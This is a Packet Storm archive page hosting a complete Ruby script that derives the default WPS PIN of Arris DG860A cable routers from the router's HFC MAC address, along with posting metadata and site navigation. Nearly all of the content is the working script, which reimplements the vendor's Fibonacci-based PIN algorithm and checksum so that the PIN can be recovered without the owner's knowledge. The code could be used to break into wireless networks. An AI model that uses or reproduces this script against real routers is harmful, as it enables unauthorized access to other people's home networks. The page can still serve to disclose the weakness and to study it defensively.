exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ARRIS DG860A WPS PIN Generator

ARRIS DG860A WPS PIN Generator
Posted Oct 15, 2013
Authored by Justin Oberdorf

This is a ruby script that will generate the default WPS PIN for the Arris DG860A providing you know the HFC MAC address.

tags | tool, wireless, ruby
SHA-256 | c7863af7c0b63cc7a8a7a00ecdafdfa05079ac5aeba5d78d1c4963d298c65f84

ARRIS DG860A WPS PIN Generator

Change Mirror Download
#!/usr/bin/ruby

require 'optparse'
def ComputeChecksum(s)
accum = 0
s *= 10
accum += 3 * ((s / 10000000) % 10)
accum += 1 * ((s / 1000000) % 10)
accum += 3 * ((s / 100000) % 10)
accum += 1 * ((s / 10000) % 10)
accum += 3 * ((s / 1000) % 10)
accum += 1 * ((s / 100) % 10)
accum += 3 * ((s / 10) % 10)
digit = (accum % 10)
return (10 - digit) % 10
end
def F(n)
if n==1 or n==2 or n==0
return 1
end
return F(n-1) + F(n-2)
end
def FibGen(num)
return F(num);
end
def GenerateWPS(strMac)
fibnum = Array.new(6)
fibsum=0;
seed=16
count=1
offset=0
counter=0
arrayMacs = strMac.split(":").map { |s| s.hex }
tmp = arrayMacs.dup
for i in 0..5
if tmp[i] > 30
while tmp[i] > 31 do
tmp[i] -= 16
counter += 1
end
end
if counter == 0
if tmp[i] < 3
tmp[i] = tmp[0]+tmp[1]+tmp[2]+tmp[3]+tmp[4]+tmp[5]-tmp[i]
if tmp[i] > 0xff
tmp[i] = tmp[i] & 0xff
end
tmp[i] = (tmp[i]%28) + 3
end
fibnum[i] = FibGen(tmp[i])
else
fibnum[i] = FibGen(tmp[i])+FibGen(counter)
end
counter = 0
end

for i in 0..5
fibsum += (fibnum[i]*FibGen(i+seed))+arrayMacs[i]
end
fibsum = fibsum%10000000
checksum = ComputeChecksum(fibsum)
fibsum = (fibsum*10) + checksum
return fibsum.to_s
end

if __FILE__ == $0
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: arriswps.rb OPTIONS"
opts.separator ""
opts.separator "Options"
opts.on('-m', '--mac 00:00:00:00:00:00', 'HFC MAC ADDRESS') { |v| options[:mac_address] = v }
end.parse!
raise OptionParser::MissingArgument if options[:mac_address].nil?
puts GenerateWPS(options[:mac_address])
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    0 Files
  • 3
    May 3rd
    0 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    0 Files
  • 7
    May 7th
    0 Files
  • 8
    May 8th
    0 Files
  • 9
    May 9th
    0 Files
  • 10
    May 10th
    0 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    0 Files
  • 14
    May 14th
    0 Files
  • 15
    May 15th
    0 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close